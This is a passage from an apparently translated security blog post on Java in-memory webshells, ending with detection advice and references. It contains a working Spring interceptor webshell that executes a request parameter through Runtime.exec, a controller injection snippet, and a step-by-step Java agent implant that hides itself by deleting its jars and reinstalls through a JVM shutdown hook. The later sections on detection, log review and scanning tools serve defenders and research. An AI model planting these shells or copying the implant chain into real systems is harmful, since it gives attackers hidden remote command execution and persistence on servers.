HashMap<String, Object>(); // Add three objects for pageContext pageContext.put("session", session); pageContext.put("request", request); pageContext.put("response", response); newClass.newInstance().equals(pageContext); // Call the equals method of the loaded malicious object, and finally execute payload // new InjectToController(ClassLoader.getSystemClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); } return response; // Return results } }
5. Spring interceptor type
Refer to these two articles:
For this type of scenario, it is better to process our webshell logic in advance before each request reaches the real business logic. Under the tomcat container, filter, listener and other technologies can meet the above requirements. At the spring framework level, Interceptor interception is considered
(1) Get context
See controller type above
(2) Gets the value of the adaptedInterceptors property
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
(3) Malicious Interceptor class
Combined with vulnerabilities (such as deserialization, sql injection, etc.)
//package bitterz.interceptors; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class TestInterceptor extends HandlerInterceptorAdapter { public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); // Avoid duplicate additions for (int i = adaptedInterceptors.size() - 1; i > 0; i--) { if (adaptedInterceptors.get(i) instanceof TestInterceptor) { System.out.println("Already added TestInterceptor Examples"); return; } } TestInterceptor aaa = new TestInterceptor("aaa"); // Avoid entering the dead loop of instance creation adaptedInterceptors.add(aaa); // Add global interceptor } private TestInterceptor(String aaa){} @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); if (code != null) { java.lang.Runtime.getRuntime().exec(code); return true; } else { // response.sendError(404); return true; }}}
6. Java agent type
Refer to these two articles:
- Using "process injection" to realize web shell without file and no death
- On Java Agent memory management
(1)Java agent
The tool implemented through java.lang.instrument is called Java Agent. Java Agent can modify bytecode without affecting normal compilation, that is, dynamically modify loaded or unloaded classes, including class properties and methods
Instrumentation is a part of jvmtiaagent (JVM Tool Interface Agent). Java agent interacts with the target JVM through this Class to achieve the effect of modifying data. A Class file converter named Transformer is added in instrumentation. The converter can change the data of binary stream, intercept unloaded classes and re intercept loaded classes. Therefore, according to this feature, we can dynamically modify bytecode
- addTransformer method is used to register Transformer, so we can register our own converter by writing the implementation class of ClassFileTransformer interface
- The getAllLoadedClasses method can list all loaded classes. We can traverse the Class array to find the Class we need to redefine
- The retransformClasses method can redefine the loaded class, that is, if our target class has been loaded, we can call this function to re trigger the interception of the Transformer, so as to achieve the effect of bytecode modification of the loaded class
(2) Identify key classes
To achieve such an effect: access any url on the web server, whether the url is a static resource or a jsp file, whether the url is a native servlet or a struts action, or even whether the url really exists, as long as our request is passed to tomcat, Tomcat can respond to our instructions.
In order to achieve this goal, we need to find a special class, which should be above the http request call stack as much as possible, can not be coupled with the specific URL, and can accept the data in the client request. After analysis, it is found that the internalDoFilter method of org.apache.catalina.core.ApplicationFilterChain class best meets our requirements
(3)webshell
The whole implantation process:
- Upload inject.jar and agent.jar to any directory of the target Web Server
- The OS user started with the tomcat process executes java – jar inject.ja
- inject.jar will find the JVM process on the Web Server through a loop traversal, and inject agent.jar into the JVM process. inject.jar will not exit until the injection is successful
- After successful injection, agent.jar executes agentmain method, which mainly does the following things:
- Traverse all loaded classes, find "org.apache.catalina.core.ApplicationFilterChain", and modify the internalDoFilter method of this class
- After modification, read the inject.jar and agent.jar on the disk into tomcat memory
- Initial access to memShell. Why make an initialization visit? In the next step, we will delete agent.jar and inject.jar from the disk. If we have not accessed memShell before deletion, some classes related to memShell will not be loaded into memory. In this way, we will report ClassNotFound exception when accessing memShell. There are two methods to initialize classes. The first is to manually load the required classes one by one. The second is to simulate an initialization access. memShell adopts the latter
- Delete inject.jar and agent.jar on disk. When the Web Server is a Linux system, delete the file normally. When the Web Server is a Windows system, because windows has a file locking mechanism, when a file is occupied by other programs, the file is locked and cannot be deleted, and inject.jar is occupied by the JVM. To delete this jar package, you need to first open the process, traverse the file handle of the process, skillfully close the file handle through DuplicateHandle, and then delete it. I write the operation of finding and closing the handle into an exe. When memShell judges that WebServer is a Windows platform, it will release the exe file to close the handle, and then delete agent.jar
- After the memShell injection is completed, the request is received normally through access http://xxx/anyurl?show_the_world=password, you can see the instructions of plain style (why plain style, because lazy)
- When the JVM is shut down, the shutdown hook registered by us will be executed first:
- Write the inject.jar and agent.jar read into the memory in step 4 (b) into the JVM temporary directory
- Execute java -jar inject.jar, and then the process returns to step 3 above to form a closed-loop structure
Packaged memshell:
7,Tomcat
reference resources tomcat based memory Webshell file free attack technology
Trying to kill Webshell under tomcat
The specific article is very clear
8,weblogic
reference resources Research on Web logic fileless web shell technology
Similar to tomcat scenario
4, Memory horse detection and troubleshooting
Some specific ideas and common features are shown in:
- Check and kill Java web filter memory horse
- Scanning, capturing and killing of Filter/Servlet memory horse
- Tomcat memory detection
- Java agent based memory horse detection and killing Guide
1. Detection
In Java, only classes loaded by the JVM can be called, or the JVM can be notified to load through reflection when necessary. Therefore, all features are in memory, expressed as loaded classes. It is necessary to obtain the loaded classes in the runtime memory of the JVM through some method. Java itself provides the Instrumentation class to implement runtime code injection and execution. Therefore, a detection idea is generated: inject jar package - > dump loaded class bytecode - > decompile into Java code - > source code webshell detection.
In this way, we can reduce the range of classes that need to be tested for source code, and use the filter class through the combination of the following filter conditions:
- Added or modified;
- There is no corresponding class file
- Not registered in xml configuration
- Ice scorpion and other common tools
- The first filter class in filterchain
There are also some weak features that can be used to assist detection, such as including shell or random names in class names, classes loaded with uncommon classloader s, and so on.
In addition, there are some tools that can assist in detecting memory horses, such as java-memshell-scanner It scans all filter s and servlet s in the application through jsp, and then determines whether it is a memory horse through the name and the existence of the corresponding class
2. Check
If it is jsp injection, check the access requests of suspicious JSPS in the log.
If it is a code execution vulnerability, check the error.log of the middleware, check whether there are suspicious error reports, and judge the injection time and method
According to the components used by the business, check whether there may be java code execution vulnerabilities and whether there have been webshell, check the framework vulnerabilities and deserialization vulnerabilities.
If it is a servlet or spring controller type, find the log according to the url of the reported webshell (the log may be closed, not necessarily), and determine the injection time according to the earliest access time of the url.
If it is a filter or listener type, there may be more 404 requests with parameters, or a large number of requests with different URLs with the same parameters, or the page does not exist but returns 200
3. Tools
Available tools:
- https://github.com/alibaba/arthas
- https://github.com/LandGrey/copagent
- https://github.com/c0ny1/java-memshell-scanner
epilogue
reference resources:
- Tomcat source code debugging notes - invisible Shell
- Using "process injection" to realize web shell without file and no death
- On Java Agent memory management
- Research on file free attack technology based on memory Webshell
- controller memory horse for spring mvc - learning and experiment (inject the horse available for kitchen knife and ice scorpion)
- tomcat based memory Webshell file free attack technology
- Check and kill Java web filter memory horse
- Scanning, capturing and killing of Filter/Servlet memory horse
- Tomcat memory detection
- Java agent based memory horse detection and killing Guide
- Understand a text
- Tomcat memory horse learning (I): Filter type
- Tomcat memory horse learning (II): inject memory horse combined with deserialization
- JSP Webshell - attack (Part 1)
- JSP Webshell - attacks (Part 2)
- Analysis of memory Webshell based on Listener in Tomcat
- Injecting spring memory webshell with intercessor
- Interceptor memory for Spring MVC
- Research on Web logic fileless web shell technology
- https://github.com/bitterzzZZ/MemoryShellLearn (a small archive is made in this warehouse)
- https://github.com/jweny/MemShellDemo